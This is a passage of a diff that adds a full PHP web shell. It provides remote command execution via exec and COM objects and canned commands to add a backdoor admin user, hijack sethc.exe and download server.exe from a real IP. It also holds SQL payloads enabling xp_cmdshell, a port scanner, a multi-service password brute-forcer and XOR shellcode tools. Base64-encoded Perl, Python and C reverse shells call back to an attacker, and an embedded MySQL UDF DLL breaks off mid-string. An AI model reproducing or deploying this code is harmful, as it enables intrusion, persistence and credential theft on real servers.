                            +END; +$upaction = isset($_POST['upfile']) ? $_POST['upfile'] : '' ; +if ($upaction == 'upfile') { + $cdir = isset($_POST['cdir']) ? $_POST['cdir'] : '/'; + $conn = @ftp_connect($ftphost) or die("could not connect to ftp server"); + if(@ftp_login($conn,$ftpuser,$ftppass)){ + @ftp_chdir($conn, $cdir); + $res_code = @ftp_put($conn,$_FILES['upload']['name'],$_FILES['upload']['tmp_name'], FTP_BINARY,0); + if (empty($res_code)){ + echo 'ftp upload faild
                            '; + } + else{ + echo 'ftp upload successful
                            '; + } + } + } +print<< +
                            path: + +

                            +END; +$getfile = isset($_POST['downfile']) ? $_POST['downfile'] : ''; +$getaction = isset($_POST['getfile']) ? $_POST['getfile'] : ''; +if ($getaction == 'down' && $getfile !=''){ +function php_ftp_download($filename){ +global $ftphost,$ftpuser,$ftppass; + $ftp_path = dirname($filename) . "/"; + $select_file = basename($filename); + $ftp = @ftp_connect($ftphost); + if($ftp){ + if(@ftp_login($ftp, $ftpuser, $ftppass)){ + if(@ftp_chdir($ftp,$ftp_path)) { + $tmpfile = tempnam(getcwd(),"temp"); + if(ftp_get($ftp,$tmpfile,$select_file,FTP_BINARY)){ + ftp_quit($ftp); + header("Content-Type:application/octet-stream"); + header("Content-Disposition:attachment; filename=" . $select_file); + unlink($tmpfile); + exit; + } + } + } + } + ftp_quit($ftp); + } +php_ftp_download($getfile); +} +} +//server info + +function Info_Cfg($varname){switch($result = get_cfg_var($varname)){case 0: return "No"; break; case 1: return "Yes"; break; default: return $result; break;}} +function Info_Fun($funName){return (false !== function_exists($funName)) ? "Yes" : "No";} +function Info_f() +{ + $dis_func = get_cfg_var("disable_functions"); + $upsize = get_cfg_var("file_uploads") ? get_cfg_var("upload_max_filesize") : "upfile forbidden"; + $adminmail = (isset($_SERVER['SERVER_ADMIN'])) ? "".$_SERVER['SERVER_ADMIN']."" : "".get_cfg_var("sendmail_from").""; + if($dis_func == ""){$dis_func = "No";}else{$dis_func = str_replace(" ","
                            ",$dis_func);$dis_func = str_replace(",","
                            ",$dis_func);} + $phpinfo = (!eregi("phpinfo",$dis_func)) ? "Yes" : "No"; + $info = array( + array("server time",date("Y-m-d h:i:s",time())), + array("server domain","".$_SERVER['SERVER_NAME'].""), + array("server ip",gethostbyname($_SERVER['SERVER_NAME'])), + array("server os",PHP_OS), + array("server os language",$_SERVER['HTTP_ACCEPT_LANGUAGE']), + array("server powerby",$_SERVER['SERVER_SOFTWARE']), + array("your IP",getenv('REMOTE_ADDR')), + array("server port",$_SERVER['SERVER_PORT']), + array("php run mode",strtoupper(php_sapi_name())), + array("php ver",PHP_VERSION), + array("run in safe mode",Info_Cfg("safemode")), + array("server administrator",$adminmail), + array("current file path",__FILE__), + array("allow_url_fopen",Info_Cfg("allow_url_fopen")), + array("enable load dll",Info_Cfg("enable_dl")), + array("display_errors",Info_Cfg("display_errors")), + array("register_globals",Info_Cfg("register_globals")), + array("magic_quotes_gpc",Info_Cfg("magic_quotes_gpc")), + array("memory_limit",Info_Cfg("memory_limit")), + array("post_max_size",Info_Cfg("post_max_size")), + array("upload_max_filesize",$upsize), + array("max_execution_time",Info_Cfg("max_execution_time")."second"), + array("disable_functions",$dis_func), + array("phpinfo()",$phpinfo), + array("free disk space",intval(diskfreespace(".") / (1024 * 1024)).'Mb'), + array("GD Library",Info_Fun("imageline")), + array("IMAP",Info_Fun("imap_close")), + array("Mysql database",Info_Fun("mysql_close")), + array("SyBase database",Info_Fun("sybase_close")), + array("Oracle database",Info_Fun("ora_close")), + array("Oracle 8 database",Info_Fun("OCILogOff")), + array("PREL PCRE",Info_Fun("preg_match")), + array("support PDF",Info_Fun("pdf_close")), + array("Postgresql database",Info_Fun("pg_close")), + array("SNMP",Info_Fun("snmpget")), + array("Zlib",Info_Fun("gzclose")), + array("parse XML",Info_Fun("xml_set_object")), + array("FTP",Info_Fun("ftp_login")), + array("ODBC",Info_Fun("odbc_close")), + array("support Session",Info_Fun("session_start")), + array("support Socket",Info_Fun("fsockopen")), + ); + echo '
                            parent directory opertion attr time size
                            0'.$Filename.'Del '; + echo 'Rename'.$Fileperm.''.$Filetime.'
                            '.$fname.' Edit '; + echo ' Rename '.$Fileperm.''.$Filetime.' '.$Filesize.'
                            '; + for($i = 0;$i < count($info);$i++){echo ''."\n";} + echo '
                            '.$info[$i][0].''.$info[$i][1].'
                            '; + return true; +} + +//execute command with php function +function Exec_Run($cmd) +{ + $res = ''; + if(function_exists('exec')){@exec($cmd,$res);$res = join("\n",$res);} + elseif(function_exists('shell_exec')){$res = @shell_exec($cmd);} + elseif(function_exists('system')){@ob_start();@system($cmd);$res = @ob_get_contents();@ob_end_clean();} + elseif(function_exists('passthru')){@ob_start();@passthru($cmd);$res = @ob_get_contents();@ob_end_clean();} + elseif(@is_resource($f = @popen($cmd,"r"))){$res = '';while(!@feof($f)){$res .= @fread($f,1024);}@pclose($f);} + return $res; +} + + +function Exec_g() +{ + echo '
                            '; + $res = 'back screen'; + $cmd = 'dir'; + if(!empty($_POST['cmd'])){$res = Exec_Run($_POST['cmd']);$cmd = $_POST['cmd'];} +print<< +function sFull(i){ + Str = new Array(11); + Str[0] = "ver"; + Str[1] = "path"; + Str[2] = "ipconfig /all"; + Str[3] = "whoami"; + Str[4] = "tasklist /svc"; + Str[5] = "netstat -an"; + Str[6] = "systeminfo"; + Str[7] = "net user"; + Str[8] = "net view"; + Str[9] = "net config workstation"; + Str[10] = "net config server"; + Str[11] = "net user b4che10r b4che10r /add & net localgroup administrators b4che10r /add"; + Str[12] = "query user"; + Str[13] = "copy c:\\1.php d:\\2.php"; + Str[14] = "copy c:\\windows\\explorer.exe c:\\windows\\system32\\sethc.exe & copy c:\\windows\\system32\\sethc.exe c:\\windows\\system32\\dllcache\\sethc.exe"; + Str[15] = "tftp -i 219.134.46.245 get server.exe c:\\\\server.exe"; + Str[16] = "ps -ef"; + Str[17] = "ifconfig"; + Str[18] = "cat /etc/syslog.conf"; + Str[19] = "cat /etc/my.cnf"; + Str[20] = "cat /etc/hosts"; + Str[21] = "cat /etc/services"; + document.getElementById('cmd').value = Str[i]; + return true; +} + +
                            +Command: + +
                            +
                            + +END; + return true; +} + +//api + +function Com_h() +{ + $object = isset($_GET['o']) ? $_GET['o'] : 'adodb'; + $com = array("adodb" => "ADODB.Connection","wscript" => "WScript.shell","application" => "Shell.Application"); +print<<[ADODB.Connection] +[WScript.shell] +[Shell.Application] +
                            +

                            +END; + $shell = new COM($com[$object]); +if($object == 'wscript') +{ + $cmd = isset($_POST['cmd']) ? $_POST['cmd'] : 'dir'; + $cmdpath = isset($_POST['cmdpath']) ? $_POST['cmdpath'] : 'c:\\windows\\system32\\cmd.exe'; +print<<
                            +command: +
                            +END; + if(!empty($_POST['cmd'])) + { + + $exe = @$shell->exec("$cmdpath /c ".$cmd); + $out = $exe->StdOut(); + $output = $out->ReadAll(); + echo '
                            '.$output.'
                            '; + } +} +elseif($object == 'application') +{ + $run = isset($_POST['run']) ? $_POST['run'] : 'cmd.exe'; + $cmd = isset($_POST['cmd']) ? $_POST['cmd'] : 'copy c:\windows\php.ini c:\php.ini'; +print<< +

                            Command argv:
                            +


                            +END; + if(!empty($_POST['run'])) echo (@$shell->ShellExecute($run,'/c '.$cmd) == '0') ? 'Done' : 'Faild'; +} +elseif($object == 'adodb') +{ + $string = isset($_POST['string']) ? $_POST['string'] : ''; + $sql = isset($_POST['sql']) ? $_POST['sql'] : ''; +print<< +function hFull(i){ + if(i==0 || i==10) return false; + Str = new Array(12); + Str[1] = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=\db.mdb;Jet OLEDB:Database Password=***"; + Str[2] = "Driver={Sql Server};Server=localhost,1433;Database=DbName;Uid=sa;Pwd=sa"; + Str[3] = "Driver={MySql};Server=localhost;Port=3306;Database=DbName;Uid=root;Pwd=root"; + Str[4] = "Provider=OraOLEDB.Oracle.1;User ID=oracle;Password=oracle;Data Source=ORACLE;Persist Security Info=True;"; + Str[5] = "driver={IBM db2 odbc DRIVER};database=mydb;hostname=localhost;port=50000;protocol=TCPIP;uid=root; pwd=pass"; + Str[6] = "DRIVER={POSTGRESQL};SERVER=127.0.0.1;DATABASE=PostGreSQL;UID=postgresql;PWD=123456;"; + Str[7] = "Dsn='';Driver={INFORMIX 3.30 32 BIT};Host=myHostname;Server=myServerName;Service=myServiceName;Protocol=olsoctcp;Database=myDbName;UID=myUsername;PWD=myPassword"; + Str[8] = "DSN=mydns;Uid=username;Pwd=password"; + Str[9] = "FILEDNS=c:\\\path\\\db.dsn;Uid=username;Pwd=password"; + Str[11] = "SELECT * FROM [TableName] WHERE ID<100"; + Str[12] = "INSERT INTO [TableName](USER,PASS) VALUES('b4che10r','mypass')"; + Str[13] = "UPDATE [TableName] SET USER='b4che10r' WHERE ID=100"; + Str[14] = "CREATE TABLE [TableName](ID INT IDENTITY (1,1) NOT NULL,USER VARCHAR(50))"; + Str[15] = "DROP TABLE [TableName]"; + Str[16] = "ALTER TABLE [TableName] ADD COLUMN PASS VARCHAR(32)"; + Str[17] = "select shell('c:\windows\system32\cmd.exe /c net user b4che10r abc123 /add');"; + Str[18] = "EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;"; + Str[19] = "EXEC sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;"; + Str[20] = "EXEC sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;"; + Str[21] = "Use master dbcc addextendedproc ('xp_cmdshell','xplog70.dll')"; + Str[22] = "Use master dbcc addextendedproc ('sp_OACreate','odsole70.dll')"; + Str[23] = "Declare @s int;exec sp_oacreate 'wscript.shell',@s out;Exec SP_OAMethod @s,'run',NULL,'cmd.exe /c echo '' > c:\info.php';"; + Str[24] = "sp_makewebtask @outputfile='d:\\\web\\\test.php',@charset=gb2312,@query='select test';"; + Str[25] = "Exec master.dbo.xp_cmdshell 'ver';"; + Str[26] = "Select Name FROM Master..SysDatabases;"; + Str[27] = "select name from sysobjects where type='U';"; + Str[28] = "Select Name from SysColumns Where id=Object_Id('TableName');"; + Str[29] = "select username,password from dba_users;"; + Str[30] = "select TABLE_NAME from all_tables;"; + Str[31] = "desc admin;"; + Str[32] = "grant connect,resource,dba to user_name;"; + Str[33] = "select datname from pg_database;"; + Str[34] = "select relname from pg_stat_user_tables;"; + Str[35] = "\\\d table_name"; + Str[36] = "select pg_file_read('pg_hba.conf',1,pg_file_length('pg_hb.conf'));"; + Str[37] = "\\\! uname -a"; + Str[38] = "select schemaname from syscat.schemata;"; + Str[39] = "select name from sysibm.systables;"; + Str[40] = "select colname from syscat.columns where tabname='table_name';"; + Str[41] = "db2 get db cfg for db_name;"; + Str[42] = "select name from sysdatabases;"; + Str[43] = "select tabname from systables where tabid=n;"; + Str[44] = "select tabname,colname,owner,coltype from syscolumns join systables on syscolumns.tabid = systables.tabid;"; + Str[45] = "select username,usertype,password from sysusers;"; + if(i<=9){document.getElementById('string').value = Str[i];}else{document.getElementById('sql').value = Str[i];} + return true; +} + +conn strings:
                            + +

                            SQL Commnad:
                            + +
                            +END; + if(!empty($string)) + { + @$shell->Open($string); + $result = @$shell->Execute($sql); + $count = $result->Fields->Count(); + for($i=0;$i < $count;$i++){$Field[$i] = $result->Fields($i);} + echo $result ? $sql.' Done
                            ' : $sql.' Faild
                            '; + if(!empty($count)){while(!$result->EOF){for($i=0;$i < $count;$i++){echo $Field[$i]->value.'
                            ';}@$result->MoveNext();}} + $shell->Close(); + } +} + $shell = NULL; + echo '
                            '; + return true; +} + +//scan port + +function Port_i() +{ +print<< +
                            +Scan IP
                            +

                            Ports
                            +

                            +

                            +END; + if((!empty($_POST['ip'])) && (!empty($_POST['port']))) + { + $ports = explode('|',$_POST['port']); + for($i = 0;$i < count($ports);$i++) + { + $fp = @fsockopen($_POST['ip'],$ports[$i],&$errno,&$errstr,1); + echo $fp ? 'Openned Ports ---> '.$ports[$i].'
                            ' : 'Closed Ports ---> '.$ports[$i].'
                            '; + ob_flush(); + flush(); + } + } + echo ''; + return true; +} + +//convert shellcode + +function shellcode_decode($Url_String,$Oday_value) +{ + $Oday_value = hexdec($Oday_value); + $$Url_String = str_replace(" ", "", $Url_String); + $SHELL = explode("%u", $Url_String); + for($i=0;$i < count($SHELL);$i++) + { + $Temp = $SHELL[$i]; + $s_1 = substr($Temp,2); + $s_2 = substr($Temp,0,2); + $COPY .= $s_1.$s_2; + } + for($n=0; $n < strlen($COPY); $n+=2){$Decode .= pack("C", hexdec(substr($COPY, $n, 2) )^ $Oday_value);} + return $Decode; +} + +function shellcode_encode($Url_String,$Oday_value) +{ + $Length =strlen($Url_String); + $Todec = hexdec($Oday_value); + for ($i=0; $i < $Length; $i++) + { + $Temp = ord($Url_String[$i]); + $Hex_Temp = dechex($Temp ^ $Todec); + if (hexdec($Hex_Temp) < 16) $Hex_Temp = '0'.$Hex_Temp; + $hex .= $Hex_Temp; + } + if ($Length%2) $hex .= $Oday_value.$Oday_value; else $hex .= $Oday_value.$Oday_value.$Oday_value.$Oday_value; + for ($n=0; $n < strlen($hex); $n+=4) + { + $Temp = substr($hex, $n, 4); + $s_1= substr($Temp,2); + $s_2= substr($Temp,0,2); + $Encode.= '%u'.$s_1.$s_2; + } + return $Encode; +} + +function shellcode_findxor($Url_String) +{ + for ($i = 0; $i < 256; $i++) + { + $shellcode[0] = shellcode_decode($Url_String, dechex($i)); + if ((strpos ($shellcode[0],'tp:')) || (strpos ($shellcode[0],'url')) || (strpos ($shellcode[0],'exe'))) + { + $shellcode[1] = dechex($i); + return $shellcode; + } + } +} + +function Shellcode_j() +{ + $Oday_value = '0'; + $Shell_Code = 'http://blog.taskkill.net/mm.exe'; + $checkeda = ' checked'; + $checkedb = ''; + if(!empty($_POST['code'])) + { + if($_POST['xor'] == 'a' && isset($_POST['number'])){$Oday_value = $_POST['number'];$Shell_Code = shellcode_encode($_POST['code'],$Oday_value);} + if($_POST['xor'] == 'b'){$checkeda = '';$checkedb = ' checked';$Shell_Code_Array = shellcode_findxor($_POST['code']);$Shell_Code = $Shell_Code_Array[0];$Oday_value = $Shell_Code_Array[1];} + if(!$Oday_value) $Oday_value = '0'; + if(!$Shell_Code) $Shell_Code = 'could not find the shellcode download url'; + $Shell_Code = htmlspecialchars($Shell_Code); + } +print<< +
                            XOR Value:    +encode shellcode with XOR decode shellcode with XOR
                            +
                            +
                            + +END; + return true; +} + +//weak scan + +function Crack_k() +{ + $MSG_BOX = 'waiting for message queue......'; + $ROOT_DIR = File_Mode(); + $SORTS = explode('/',$ROOT_DIR); + array_shift($SORTS); + $PASS = join(',',$SORTS); + for($i = 0;$i < 10;$i++){$n = (string)$i; $PASS .= $n.$n.$n.$n.$n.$n.','; $PASS .= $n.$n.$n.$n.$n.$n.$n.','; $PASS .= $n.$n.$n.$n.$n.$n.$n.$n.',';} + if((!empty($_POST['address'])) && (!empty($_POST['user'])) && (!empty($_POST['pass']))) + { + $SORTPASS = explode(',',$_POST['pass']); + $connect = false; + $MSG_BOX = 'not found'; + for($k = 0;$k < count($SORTPASS);$k++) + { + if($_POST['class'] == 'mysql') $connect = @mysql_connect($_POST['address'],$_POST['user'],chop($SORTPASS[$k])); + if($_POST['class'] == 'ftp'){$Ftp_conn = @ftp_connect($_POST['address'],'21');$connect = @ftp_login($Ftp_conn,$_POST['user'],chop($SORTPASS[$k]));} + if($_POST['class'] == 'mssql') $connect = @mssql_connect($_POST['address'],$_POST['user'],chop($SORTPASS[$k])); + // if($_POST['class'] == 'pgsql') $connect = @pg_connect("host=$_POST['address'] port=5432 dbname=postgres user=$_POST['user'] password=".chop($SORTPASS[$k])); + if($_POST['class'] == 'pgsql') $connect = @pg_connect("host={$_POST['address']} port=5432 dbname=postgres user={$_POST['user']} password={chop($SORTPASS[$k])}"); + //$connect = @oci_connect('system','oracle','"//localhost/orcl'); + if($_POST['class'] == 'oracle') $connect = @oci_connect($_POST['user'],chop($SORTPASS[$k]),$_POST['address']); + if($_POST['class'] == 'ssh'){$ssh_conn = @ssh2_connect($_POST['address'],'22');$connect = @ssh2_auth_password($ssh_conn,$_POST['user'],chop($SORTPASS[$k]));} + if($connect) $MSG_BOX = '[project: '.$_POST['class'].'] [ip: '.$_POST['address'].'] [user: '.$_POST['user'].'] [pass: '.$SORTPASS[$k].']'; + } + } +print<< +
                            {$MSG_BOX}
                            +
                            Host
                            +
                            User
                            +
                            Pass
                            +
                            Crack Project: Mysql +FTPmssqlPgsqlOracleSSH
                            +
                            +END; + return true; +} + +//back connect + +function Linux_l() +{ + echo '

                            '; +print<<
                            +Your IP: +Your Port: +Script Used: +

                            +END; + if((!empty($_POST['yourip'])) && (!empty($_POST['yourport']))) + { + if($_POST['use'] == 'perl') + { + $back_connect_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj". + "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR". + "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT". + "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI". + "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi". + "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl". + "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; + echo File_Write('/tmp/b4che10r_pl',base64_decode($back_connect_pl),'wb') ? 'create /tmp/b4che10r_pl success
                            ' : 'create /tmp/b4che10r_pl faild
                            '; + $perlpath = Exec_Run('which perl'); + $perlpath = $perlpath ? chop($perlpath) : 'perl'; + echo Exec_Run($perlpath.' /tmp/b4che10r_pl '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'execute command faild' : 'execute command successfully'; + } + if($_POST['use'] == 'python') + { + $back_connect_py="IyAtKi0gY29kaW5nOnV0Zi04IC0qLQ0KIyEvdXNyL2Jpbi9lbnYgcHl0aG9uDQoiIiINCmJhY2sgY29ubmVjdCBweSB2ZXJzaW9uLG9ubHkgbGludXggaGF2ZS". + "BwdHkgbW9kdWxlDQoiIiINCmltcG9ydCBzeXMsb3Msc29ja2V0LHB0eQ0Kc2hlbGwgPSAiL2Jpbi9zaCINCmRlZiB1c2FnZShuYW1lKToNCiAgICBwcmludCAn". + "cHl0aG9uIGNvbm5lY3QgYmFja2Rvb3InDQogICAgcHJpbnQgJ3VzYWdlOiAlcyA8aXBfYWRkcj4gPHBvcnQ+JyAlIG5hbWUNCg0KZGVmIG1haW4oKToNCiAgIC". + "BpZiBsZW4oc3lzLmFyZ3YpICE9MzoNCiAgICAgICAgdXNhZ2Uoc3lzLmFyZ3ZbMF0pDQogICAgICAgIHN5cy5leGl0KCkNCiAgICBzPXNvY2tldC5zb2NrZXQo". + "c29ja2V0LkFGX0lORVQsc29ja2V0LlNPQ0tfU1RSRUFNKQ0KICAgIHRyeToNCiAgICAgICAgcy5jb25uZWN0KChzeXMuYXJndlsxXSxpbnQoc3lzLmFyZ3ZbMl". + "0pKSkNCiAgICAgICAgcHJpbnQgJ2Nvbm5lY3Qgb2snDQogICAgZXhjZXB0Og0KICAgICAgICBwcmludCAnY29ubmVjdCBmYWlsZCcNCiAgICAgICAgc3lzLmV4". + "aXQoKQ0KICAgIG9zLmR1cDIocy5maWxlbm8oKSwwKQ0KICAgIG9zLmR1cDIocy5maWxlbm8oKSwxKQ0KICAgIG9zLmR1cDIocy5maWxlbm8oKSwyKQ0KICAgIG". + "dsb2JhbCBzaGVsbA0KICAgIG9zLnVuc2V0ZW52KCdISVNURklMRScpDQogICAgb3MudW5zZXRlbnYoJ0hJU1RGSUxFU0laRScpDQogICAgcHR5LnNwYXduKHNo". + "ZWxsKQ0KICAgIHMuY2xvc2UoKQ0KDQppZiBfX25hbWVfXyA9PSAnX19tYWluX18nOg0KICAgIG1haW4oKQ=="; + echo File_Write('/tmp/b4che10r_py',base64_decode($back_connect_py),'wb') ? 'create /tmp/b4che10r_py success
                            ' : 'create /tmp/b4che10r_py faild
                            '; + $pypath = Exec_Run('which python'); + $pypath = $pypath ? chop($pypath) : 'python'; + echo Exec_Run($pypath.' /tmp/b4che10r_py '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'execute command faild' : 'execute command successfully'; + } + + if($_POST['use'] == 'c') + { + $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC". + "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb". + "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd". + "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ". + "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC". + "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D". + "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp". + "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="; + echo File_Write('/tmp/b4che10r_bc.c',base64_decode($back_connect_c),'wb') ? 'create /tmp/b4che10r_bc.c success
                            ' : 'create /tmp/b4che10r_bc.c faild
                            '; + $res = Exec_Run('gcc -o /tmp/angel_bc /tmp/angel_bc.c'); + @unlink('/tmp/b4che10r_bc.c'); + echo Exec_Run('/tmp/b4che10r_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'execute command successfully' : 'execute command faild'; + } + echo '
                            local machine need run (nc -vv -l -p '.$_POST['yourport'].')'; + } + echo ''; + return true; +} + +//mysql udf +function get_code() { + return "0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000E00000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A24000000000000009BBB9A02DFDAF451DFDAF451DFDAF451A4C6F851DDDAF4515CC6FA51CBDAF45137C5FE518BDAF451DFDAF451DCDAF451BDC5E751DADAF451DFDAF55184DAF45137C5FF51DCDAF45137C5F051DEDAF45152696368DFDAF4510000000000000000504500004C010300B2976A460000000000000000E0000E210B01060000500000001000000090000010E6000000A0000000F000000000001000100000000200000400000000000000040000000000000000000100001000000000000002000000000010000010000000001000001000000000000010000000D8F000007400000000F00000D80000000000000000000000000000000000000000000000000000004CF100000C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000900000001000000000000000040000000000000000000000000000800000E055505831000000000050000000A000000048000000040000000000000000000000000000400000E055505832000000000010000000F0000000020000004C0000000000000000000000000000400000C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000322E303200555058210D09020A459475C59FCC587632C900000F46000000B00000260A00BC6FEDDDFF558BEC6AFF6800007148040ED064A10507506489FFD8FF9F2583EC0C5356578965E8C745FC0F7D0C0175236A00FFEDB77B012E05B008FF150970008945E4EB09B81E7363BB0124C38B2FFF000F8B4DF05FF6FFD94E0D5F5E5B8BE55DC20C0090008B442499ACFDF604C740081C100432C0C30F8F58FDAC7D0081EC8C090592C685E8FBFF77DFBD6100B9FF1733C08DBDE90DF3AB66ABAA33DB895DFC8B33DBBBFF450C8338010F85770380480439190A6C53EFFEFFBF80988B50088B0250E80A005DDC83C40885C00F84511A889DC8F6F720276B414EC9F6C785BC0A9FD9DC5D0C16899DC0090FC4D853A1FBF6DF8D8D1A518D95CCFA06528D85B80D500EB399661B2C256C44246CCDF7EFB116288B852A8985ACF605A866EEEE8C6C559C985668050134776723CD95C852240CBFBA8883C9DFDCFFB7FF9CF2AEF7D12BF98BF78BFA8BD1100E4F8BCAC1B3CDFDF6E902F3A50683E103F3A4FBF2083566B604D88B393284B4C1B5DB60E6D8FBB153006A0103FF6B63838A538B20B4283BC3752D6A0A6D84436EF0E8FB1C4F473ADBAF3D7C12516670380B52E917059E0B67B30CF72A18B9D0FA40FB0E72106AD1FA6803FA8D1D93CBD8D84268FF14D0FAC47E0990583A548D64D9BA6F3EE5117E8BF089B564B9535EC803C2993B046AA18BB810CD2ED81B0E567420C63C10FFB9E53B72C6000163E8EBBA1882FBB7B9850436D41105B0596A206A03049D306B6E037D7EB2BF0CF6B171F37B6883FEFF6A85385618DCEFEF2D94F889BD408D4764A80FF652F1DC2F942DB9590C89036A9D5679F8CFBE564F01515030108B13C6043A0009446C03E40BD18B3BD9687E2C089318580C04EB366A64B66C8DC972D031745813594ECE0E53C16551C83BE920FDC91E498B5514890AE98B03E63F61EE23C368C80B6389500C3BD37C2939D8751A3233C07F3001BB709155357A0C83910DBB954511420C8651C8D391AC91AE8D513763F24C9552CDB0069B6CC2A4E96551C51C8B6C76695D530C1FA86CB243C27B0C298B5BA5C3A71B4F08A40F8B400C8674DD5B768C07BC91591B00130BC8AEF1B72C1D750683C8FFC2C30E05DCC030D74E060C74092FF202EDB4329054554468020217F6FEBFFE7134F7D81BC04081C41A5E903D814C060F6808B8640426B073A466121C866DCBB6417B885DA87401A902ADB17EE3D2B76603B58845B71684FEF1888590FFFE7D72BB06563F84BD910AE983CF3F4F9B2E347D942C6A02227175943B5A018CEDF7751616FC1708EC3F79044888FEFE71103BC7751D560A1BC60B6C14326A107A8D74235F61B8E73A52180F66DB8D2C2C88980B531CAE9A338FCA02DD827A1D0E203DB8C9B537DC9004B9827E8B3089CAB4D6D37CB01D80B471D337110CE748BEDDEC6F6A081AA8D177E6489E04A0B6138D55A8E327325A00438D7DA883CE2D656B0763CE457537E59B512FD8B7C1028B8B8596504522D9BE1B6144418D4DA885C977DD1696139C2E06249C238D472834160750D28954283B70800CF2C67526537547C84B6CC025CF070D048CFFFEDF5EBC8549E4200866E4516A28AE11DB6E61BC52F88D2072229D489AB3985D2C1D8B35781C88D11B302A6C37DF5968311659FFFF1151BE82B96D42D6FC84FED51052D985CD06A5091CEBC5BA94506052022C069E0F3981C511788FA404FCF68450228B75087CC0807E09060A4B775B71A85F8B5E0C20D469D9D115CEF92011C8B80D124CB6177EA98AB6E00FC1E0028BC803C604C468141ADF02CC33C98A7DBFB566FBEF5E4CC1E102058D14018955E0803A4D4F586F8F818BB9AA01CC8BF2E266F3A7ED0CF26C164102C0159D0542D875477205B04C2C3908C10D00DA6E0D67EF1968D007001034E90B8795BC59C82DED1533F607B80774C03FFB9009C183C206298A023C2167DF7FE9743C843B1B3C0A741788843530421B46D889846744EBDB7FB907CABBFF6F29B6B53C33D2F3A6753B88954C0BB918D962C860784DB34C76739038C0B10B6C68E803C59378271EEB254A1D8E236534B0301BB135728144C60F4F9400D7493C77C7030B5E382E81D8BB7F1A837C2410027513060405750C5B6464046B5F23C357084F179213C888140525F1ECA263810C5456C9134CD8C9C22CBD4FE485DBCEE499566BF6CFE0FA8BCB2BCE490C0804904BB80768042700E0FE397221F724434558E0FE8108D87B96002F8BFB1B2A2327837CD98BFACBCB5073BCC8855098E0FE8D6FBFAC03B7B10DCC63DC0DAF234B21D18DC47AF02AFA7A568F638FA2C0EB0C0354AD46F2C505EED48821B01A60A081C4112684C3CFF4425689FF3B77D77857040CB911280D108D7C2418F3AB8D4C243B0D069B6C1451AB343101BA0B041B0111E5724E64F06650720D553D8755FD04BA917